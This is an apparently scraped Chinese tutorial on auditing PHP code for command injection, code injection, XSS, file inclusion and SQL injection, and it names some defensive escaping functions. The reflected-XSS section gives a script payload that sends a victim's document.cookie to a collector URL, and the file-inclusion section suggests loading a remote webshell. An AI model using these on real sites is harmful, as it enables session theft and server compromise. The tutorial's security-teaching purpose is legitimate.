PHP代码审计---基础学习(一)

0x00、超全局变量
超全局变量—全局变量是所有做用域中始终可用内置变量
在PHP中经常使用的可由用户操做的全局变量列表以下:
$GLOBALS - 引用全局做用域中可用的所有变量
$_SERVER - 服务器和执行环境信息(有些变量是能够覆盖的)
$_GET - HTTP GET变量
$_POST - HTTP POST变量
$_FILES - HTTP 文件上传变量
$_REQUEST - HTTP request变量,能够获取GET、POST、COOKIE等传参
$SERSION - Sesion变量
$_ENV - 环境变量(有些变量是能够覆盖的)
$_COOKIE - HTTP 获取Cookies值
 
 
0x0一、代码审计命令注入
注意:平台不同的话注入也会不同。
PHP执行系统命令可使用一下函数:
system、exec 、passthru、``(反引号)、shell_exec、popen、proc_open、pcntl_exec
 
string system(string $command [,int &$retuen_var])
exec
passthru(实际上和system是同样的)
shell_exec
``和上面的效果是同样的
popen,若是输出空白就表示不能执行
proc_open:在win下不能使用因此试验不了,也能够去了解一下
 
pcntl_exec:是linnux下的一个扩展,因此无法试验
 
 
防护函数:
当用户提供的数据传入此函数,使用escapeshellarg()或escapeshellcmd()来确保用户欺骗系统从而执行任意命令。(通常都会用在shell里面)
 
escapeshellarg(string $arg)
能够用到php的安全中,会过滤arg中存在的一些特殊字符。在输入的参数中若是包含文件传递给escapeshellarg,会被过滤掉。
 
escapeshellcmd()函数会转义命令中全部shell元字符来完成工做。这些院子度包括:#&;·,|*?~<>^( ) { } [ ]$ \\。
 
0x0二、PHP代码审计代码注入
在PHP里面有一些函数将输入的字符串参数看成PHP程序代码来执行。
 
1、常见代码执行函数
eval、assert、preg_replace
 
eval:任意代码执行
assert:功能和eval差很少,也能够输出phpinfo()
preg_replace:正则代码注入
 
第一种:当pattern中存在/e模式修饰符,既容许执行代码。
 
第二种:注意哪两个要同样才能执行,没有/e也不行。
第三种:
 
 
 
0x0三、XSS反射型漏洞
XSS漏洞有三种分别是:反射型,存储型,DOM型
 
1、反射型XSS漏洞:他经过给别人发送带有恶意脚本代码参数的URL,当点击URL时,特有的恶意代码参数被HTML解析、执行。特色是非持久性的,必须用户点击才能触发。
 
一、利用:能够用XSS平台打别人cookie,也能够用打到本身的服务器里面利用代码以下:
<script>var i=new Image;i.src="http://127.0.0.1/xss.php?c="%2bdocment.cookie;</script>
 
二、变量直接输出
$_SERVER[PHP_SELF]:会获取URL里面的内容(就是获取/test.php/<script>alert('xss')</script>)
三、$_SERVER['HTTP_USER_AGENT']:获取浏览器参数
User-Agent
 
四、$SERVER['HTTP_REFERER']:来路,和上面同样换成Referer就好了
 
五、$_SERVER['REQUEST_URI']:获取数据
他会进行编码,因此URL要解码才能形成xss漏洞
 
 
 
0x0四、代码审计存储型XSS
存储型XSS:持久化,代码是存储在服务器中的,若是没有过滤过过滤不严,那么这些代码将存储到服务器中,用户访问该页面的时候就会触发。这种xss危害型比较大,容易形成蠕虫,盗窃cookie等。
 
审计SQL语句
主要是updata insert 更新和插入语句
内容输入输出没有被过滤或过滤不严
 
防护函数htmlspecialchars:对输入的字符进行实体编码
 
 
 
0x0五、本地文件包含和远程文件包含
本地文件包含LFI 远程文件包含 RFI
include:使用include引用外部文件时,只有代码执行到include代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个php文件会继续执行。
require:在php文件被执行以前,php解析器会用被引用的文件的所有内容替换require语句,而后与require语句以外的其余语句组成个新的php文件,最好后按新的php文件执行程序代码。
使用include_once会在导入文件前先检测该文件是否在该页面的其余部分被应用过,若是有,则不会重复引用该文件,程序只能引用一次。(要导入的文件中存在一些自定义函数,那么若是在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,由于php不容许相同名称的函数被重复声明)
require_once语句是require语句的延伸,他的功能与require语句基本一致,不一样的是,在应用require_once时,先会检查要引用的文件是否是已将在该程序中的其余地方被引用过,若是有,则不会在重复调用该文件。(同时使用require_once语句在同一页面中引用了两个不一样的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行)
 
本地包含:受gpc影响、截断%00
 
 
 
他是以这个命名的因此包含不了(123.txt.php),因此要%00截断
应该是能够的但不知道为何
 
 
 
远程文件包含(须要allow_url_fopen和allow_url_include = On)
allow_url_fopen是默认开启的
allow_url_include = On默认没有开启的,须要在php.ini找到并修改
利用:直接外连一个马就好了
 
伪协议:
php://input (条件在allow_url_include = on 且 PHP >=5.2.0这个不必定)
 
 
 
(读本地文件的,这个不须要开启allow_url_include = on也行)
 
 
0x06 PHP代码审计SQL注入
SQL注入攻击指的是经过构建特殊的输入做为传参传入web应用程序,而这些输入大都是SQL语法里的一些组合,经过执行SQL 语句进而执行攻击者所要操做,其主要缘由是程序没有细致地过滤用户输入的数据,导致非法数据入侵系统。
 
审计语句:
INSERT、DELETE、UPDATE、SELECT(增删改查)
相关文章
相关标签/搜索